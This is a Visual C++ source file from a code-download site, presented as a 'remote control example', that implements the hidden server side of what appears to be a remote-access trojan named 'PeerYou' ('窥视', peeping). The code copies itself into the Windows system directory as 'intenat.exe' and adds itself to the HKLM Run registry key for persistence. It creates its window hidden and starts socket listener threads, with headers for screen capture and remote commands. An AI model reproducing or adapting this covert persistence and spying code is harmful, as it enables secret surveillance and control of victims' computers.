www.gusucode.com > vc++ 远程控制示例源程序-源码程序 > vc++ 远程控制示例源程序-源码程序\code\PeerYouS\PeerYouS.cpp
// PeerYouS.cpp : Defines the entry point for the application. // Download by http://www.NewXing.com #include "stdafx.h" #include "globalhead.h" #include "resource.h" #include "LZWCompress.h" #include "CaptureScreen.h" #include "PeerSocket.h" #include "PeerThread.h" #include "command.h" // 全局实例及主窗体变量 HINSTANCE hInst; HWND hMainWnd; // 相关函数声明 ATOM RegisterMainWndClass(HINSTANCE hInstance); BOOL CreateMainWindow(HINSTANCE, int); LRESULT CALLBACK MainWndProc(HWND, UINT, WPARAM, LPARAM); ////////////////////////////////////// int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // 创建互斥体,保证只有一个实例 char direct[256],fi[256],cur[256]; int dirsize=256,dirsize2; if((dirsize2=GetSystemDirectory(direct,dirsize))==0) return false; direct[dirsize2]=0; strcpy(fi,direct); strcat(fi,"\\intenat.exe"); WIN32_FIND_DATA wfd; if(INVALID_HANDLE_VALUE==FindFirstFile(fi,&wfd)) { int ii; ii=GetModuleFileName(hInstance,cur,dirsize); cur[ii]=0; CopyFile(cur,fi,true); } if ((hOnlyInstance=CreateMutex(NULL,false,"JFY's PeerYou"))==NULL) return -1; else if (GetLastError()==ERROR_ALREADY_EXISTS) return -1; HKEY keyRet; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ,0,KEY_READ|KEY_WRITE,&keyRet)==ERROR_SUCCESS) { unsigned char value[256]; DWORD type=REG_SZ; DWORD size; if(RegQueryValueEx(keyRet,"intenat",NULL,&type,value,&size)!=ERROR_SUCCESS) { strcat(direct,"\\intenat.exe"); DWORD nowsize=strlen(direct); RegSetValueEx(keyRet,"intenat",NULL,REG_SZ,(unsigned char*)direct,nowsize); } RegCloseKey(keyRet); } // 创建用于退出程序的事件句柄 if ((hExitEvent=WSACreateEvent())==WSA_INVALID_EVENT){ CloseHandle(hOnlyInstance); return -1; } // 初始化Windsock WSADATA wsaData; if (WSAStartup(MAKEWORD(2,2),&wsaData)!=0) { // 无可用WinSock DLL. CloseHandle(hOnlyInstance); CloseHandle(hExitEvent); return -1; } // 需要2.2版Winsock.dll if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) { CloseHandle(hOnlyInstance); CloseHandle(hExitEvent); WSACleanup(); return -1; } MSG msg; // 注册窗体类 RegisterMainWndClass(hInstance); // 创建主窗体 if (!CreateMainWindow(hInstance, nCmdShow)) { CloseHandle(hOnlyInstance); CloseHandle(hExitEvent); WSACleanup(); return FALSE; } InitializeCriticalSection(&csCaptureScreen); // 主信息循环 while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } // 释放WinSock Dll WSACleanup(); // 释放系统句柄 CloseHandle(hOnlyInstance); WSACloseEvent(hExitEvent); DeleteCriticalSection(&csCaptureScreen); return msg.wParam; } // // FUNCTION: MyRegisterClass() // // PURPOSE: Registers the window class. // // COMMENTS: // // This function and its usage is only necessary if you want this code // to be compatible with Win32 systems prior to the 'RegisterClassEx' // function that was added to Windows 95. It is important to call this function // so that the application will get 'well formed' small icons associated // with it. // ATOM RegisterMainWndClass(HINSTANCE hInstance) { WNDCLASSEX wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = (WNDPROC)MainWndProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_PEERYOUS); wcex.hCursor = LoadCursor(NULL, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = NULL; wcex.lpszClassName = "JiFuYi's PeerYou"; wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL); return RegisterClassEx(&wcex); } // // FUNCTION: InitInstance(HANDLE, int) // // PURPOSE: Saves instance handle and creates main window // // COMMENTS: // // In this function, we save the instance handle in a global variable and // create and display the main program window. // BOOL CreateMainWindow(HINSTANCE hInstance, int nCmdShow) { hInst = hInstance; // Store instance handle in our global variable hMainWnd = CreateWindow("JiFuYi's PeerYou", "窥视 VER 0.1 BUILD 011217", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL); if (!hMainWnd) { return FALSE; } ShowWindow(hMainWnd, SW_HIDE); UpdateWindow(hMainWnd); return TRUE; } // // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // // PURPOSE: Processes messages for the main window. // // WM_COMMAND - process the application menu // WM_PAINT - Paint the main window // WM_DESTROY - post a quit message and return // LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_CREATE: ///得到主机名称 int nComputerNameLen; nComputerNameLen=MAX_COMPUTERNAME_LENGTH + 1; if(SOCKET_ERROR==gethostname(szHostName,nComputerNameLen)) return -1; ///////end////////// ///得到主机IP地址 HOSTENT *hentThisHost; hentThisHost=NULL; if(!(hentThisHost=gethostbyname(szHostName))) return -1; in_addr inaddrThisHost; memcpy(&inaddrThisHost.S_un.S_addr,hentThisHost->h_addr,hentThisHost->h_length); strcpy(szHostAddr,inet_ntoa(inaddrThisHost)); ///////end/////////// ///////正式开始////// //初始化关键代码段(保护线程列表) InitializeCriticalSection(&csProtectList); //创建准备事件句柄 hPrepareEvent=CreateEvent(NULL,FALSE,TRUE,NULL); //置为未标志状态 ResetEvent(hPrepareEvent); //启动监听线程 hAcceptThread=BeginPeerThread(AcceptThread,NULL,&uAcceptThreadID); if(!hAcceptThread) { CloseHandle(hPrepareEvent); return FALSE; } //监听线程初始化是否完毕 if(WaitForSingleObject(hPrepareEvent,PEER_WAITTIME)!=WAIT_OBJECT_0) { CloseHandle(hPrepareEvent); return FALSE; } //准备事件句柄置为未标志状态 ResetEvent(hPrepareEvent); //启动清理线程动态跟踪系统 hCleanupThread =BeginPeerThread(CleanupThread,NULL,&uCleanupThreadID); if(!hCleanupThread) { CloseHandle(hPrepareEvent); return FALSE; } //清理线程初始化是否完毕 if(WaitForSingleObject(hPrepareEvent,PEER_WAITTIME)!=WAIT_OBJECT_0) { CloseHandle(hPrepareEvent); return FALSE; } CloseHandle(hPrepareEvent); break; case WM_PAINT: HDC hdc; PAINTSTRUCT ps; hdc=BeginPaint(hMainWnd,&ps); RECT rect; GetClientRect(hMainWnd,&rect); DrawText(hdc,szHostName,strlen(szHostName),&rect,DT_CENTER); DrawText(hdc,szHostAddr,strlen(szHostAddr),&rect,DT_SINGLELINE|DT_VCENTER|DT_CENTER); EndPaint(hMainWnd,&ps); break; case WM_CLOSE: HANDLE hEvent[2]; //等待两个主要线程是否已经退出 hEvent[0]=hAcceptThread; hEvent[1]=hCleanupThread; WSASetEvent(hExitEvent); if(WaitForMultipleObjects(2,hEvent,true,PEER_WAITTIME)==WAIT_TIMEOUT) { //结束线程 TerminateThread(hAcceptThread,-1); TerminateThread(hCleanupThread,-1); } //关闭线程句柄 CloseHandle(hAcceptThread); CloseHandle(hCleanupThread); //所有服务线程都已经退出 while(listConnectThread.size()) { Sleep(100); } //删除关键代码段(保护线程列表) DeleteCriticalSection(&csProtectList); //发送关闭窗口消息 SendMessage(hMainWnd,WM_DESTROY,0,0); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }